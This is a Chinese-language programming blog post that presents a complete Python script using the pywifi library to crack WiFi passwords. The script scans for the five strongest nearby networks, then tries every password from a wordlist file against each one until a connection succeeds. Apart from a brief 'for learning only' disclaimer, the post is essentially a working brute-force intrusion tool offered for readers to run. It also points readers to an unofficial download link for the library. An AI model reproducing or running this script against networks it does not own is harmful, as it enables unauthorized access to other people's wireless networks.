Python利用字典破解WIFI密码的方法


Posted in Python onFebruary 27, 2019

最近看到网上的一些作品,然后进行一些完善。只是用于学习,不要去干坏事哦。程序来源于网,我只是做了一些优化。当然这种方法破解还是有点慢哦。我用的python 3.6.5

既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。

有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。

链接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg

本地安装方法:

1)下载解压好以后,我们用cmd命令行,进入到你的文件目录

2)使用命令pip install . 注意了(install后面有个点) 

3)然后就会安装了,等一会就可以了。

程序先查找附近的WIFI,然后按信号强度进行排序,然后只取前wificount=5个信号好的。

import pywifi
from pywifi import const #引用一些定义
import time
namelist = []
ssidlist = []
result = [] #存放查询到的WIFI,密码
wificount=5 #查询附近信号最强的5个WIFI,最多5个
def getwifi():
  wifi=pywifi.PyWiFi()#抓取网卡接口
  ifaces=wifi.interfaces()[0]#获取网卡
  ifaces.scan()
  time.sleep(8) 
  bessis = ifaces.scan_results()
  list = []  
  for data in bessis:
    if(data.ssid not in namelist): #去掉重复的WIFI名称
      namelist.append(data.ssid)
      list.append((data.ssid, data.signal))  
  sorted(list, key=lambda st: st[1], reverse=True)
  time.sleep(1)
  n=0
  if len(list) is not 0:
    for item in list:
      if(item[0] not in ssidlist):
        n=n+1
        if n<=wificount:
          ssidlist.append(item[0])
  print(ssidlist)
def testwifi(ssidname,password):
  wifi=pywifi.PyWiFi()#抓取网卡接口
  ifaces=wifi.interfaces()[0]#获取网卡
  ifaces.disconnect()#断开无限网卡连接
  profile=pywifi.Profile()#创建wifi连接文件
  profile.ssid=ssidname#定义wifissid
  profile.auth=const.AUTH_ALG_OPEN#网卡的开放
  profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
  profile.cipher=const.CIPHER_TYPE_CCMP##加密单元
  profile.key=password #wifi密码
  ifaces.remove_all_network_profiles()#删除其他所有配置文件
  tmp_profile=ifaces.add_network_profile(profile)#加载配置文件
  ifaces.connect(tmp_profile)#连接wifi
  time.sleep(5)#5秒内能否连接上
  if ifaces.status()==const.IFACE_CONNECTED:   
    return True    
  else:
    #print("[-]WiFi connection failure!")
    return False
  #ifaces.disconnect()#断开连接
  #time.sleep(1)
  return True
def main():
  getwifi() 
  #ssidlist = ['Oun'] #如果知道WIFI直接写就行了。
  if(len(ssidlist) is not 0):
    path=r"password.txt"
    files=open(path,'r')
    while True:
        if(len(ssidlist) is 0):
          break
        try:
          password =files.readline()
          password=password.strip('\n')
          if not password:
            break
          for item in result: #把已经找到密码的WIFI从查询中删除。
            ssidlist.remove(item[0])
          for ssidname in ssidlist:           
            if(testwifi(ssidname,password)==True):
              result.append((ssidname,password)) #把找到的WIFI密码保存起来
              print('Succ','Current WifiName:',ssidname,'Current Password:',password)
            else:
              print('Fail','Current WifiName:',ssidname,'Current Password:',password)
        except:
          continue
    files.close()
    print("\n","WIFI结果列表:")
    for item in result: #把已经找到密码的WIFI从查询中删除。
      print("")
      print("无线:",item[0])
      print("密码:",item[1])
  else:
    print("没有找到WIFI信号,请重试。")
if __name__ == '__main__':
  main()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
Python中的CURL PycURL使用例子
Jun 01 Python
Python基于hashlib模块的文件MD5一致性加密验证示例
Feb 10 Python
使用python获取csv文本的某行或某列数据的实例
Apr 03 Python
利用ctypes获取numpy数组的指针方法
Feb 12 Python
python中字符串数组逆序排列方法总结
Jun 23 Python
Python迭代器模块itertools使用原理解析
Dec 11 Python
python Manager 之dict KeyError问题的解决
Dec 21 Python
Pytorch通过保存为ONNX模型转TensorRT5的实现
May 25 Python
详解torch.Tensor的4种乘法
Sep 03 Python
python boto和boto3操作bucket的示例
Oct 30 Python
用60行代码实现Python自动抢微信红包
Feb 04 Python
python实现银行账户系统
Feb 22 Python
pyside+pyqt实现鼠标右键菜单功能
Dec 08 #Python
基于PyQt4和PySide实现输入对话框效果
Feb 27 #Python
python使用PyQt5的简单方法
Feb 27 #Python
Python创建字典的八种方式
Feb 27 #Python
基于wxPython的GUI实现输入对话框(2)
Feb 27 #Python
基于wxPython的GUI实现输入对话框(1)
Feb 27 #Python
Python使用字典的嵌套功能详解
Feb 27 #Python
You might like
自己动手做一个SQL解释器
2006/10/09 PHP
自动分页的不完整解决方案
2007/01/12 PHP
php 验证码实例代码
2010/06/01 PHP
php 模拟POST提交的2种方法详解
2013/06/17 PHP
thinkphp利用模型通用数据编辑添加和删除的实例代码
2016/11/20 PHP
php加密之discuz内容经典加密方式实例详解
2017/02/04 PHP
php 一维数组的循环遍历实现代码
2017/04/10 PHP
整理的比较全的event对像在ie与firefox浏览器中的区别
2013/11/25 Javascript
jQuery学习笔记之jQuery.extend(),jQuery.fn.extend()分析
2014/06/09 Javascript
高性能JavaScript DOM编程(1)
2015/08/11 Javascript
学习Angularjs分页指令
2016/07/01 Javascript
bootstrap datepicker 与bootstrapValidator同时使用时选择日期后无法正常触发校验的解决思路
2016/09/28 Javascript
jQuery密码强度验证控件使用详解
2017/01/05 Javascript
javascript数据类型详解
2017/02/07 Javascript
BootStrap表单宽度设置方法
2017/03/10 Javascript
微信小程序promsie.all和promise顺序执行
2017/10/27 Javascript
解决koa2 ctx.render is not a function报错问题
2018/08/07 Javascript
详解如何webpack使用DllPlugin
2018/09/30 Javascript
js嵌套的数组扁平化:将多维数组变成一维数组以及push()与concat()区别的讲解
2019/01/19 Javascript
layui清除radio的选中状态实例
2019/11/14 Javascript
Vue自定义表单内容检查rules实例
2020/10/30 Javascript
antd Select下拉菜单动态添加option里的内容操作
2020/11/02 Javascript
python实现斐波那契数列的方法示例
2017/01/12 Python
python模块之time模块(实例讲解)
2017/09/13 Python
Pycharm 创建 Django admin 用户名和密码的实例
2018/05/30 Python
Python3.6基于正则实现的计算器示例【无优化简单注释版】
2018/06/14 Python
python程序变成软件的实操方法
2019/06/24 Python
Python 实现网课实时监控自动签到、打卡功能
2020/03/12 Python
使用pytorch 筛选出一定范围的值
2020/06/28 Python
Python应用自动化部署工具Fabric原理及使用解析
2020/11/30 Python
吉列剃须刀美国官网:Gillette美国
2018/07/13 全球购物
怎样声明子类
2013/07/02 面试题
公司前台接待岗位职责
2013/12/03 职场文书
企业出纳岗位职责
2014/03/12 职场文书
财务稽核岗位职责
2015/04/13 职场文书
十大经典日本动漫排行榜 海贼王第三,犬夜叉仅第八
2022/03/18 日漫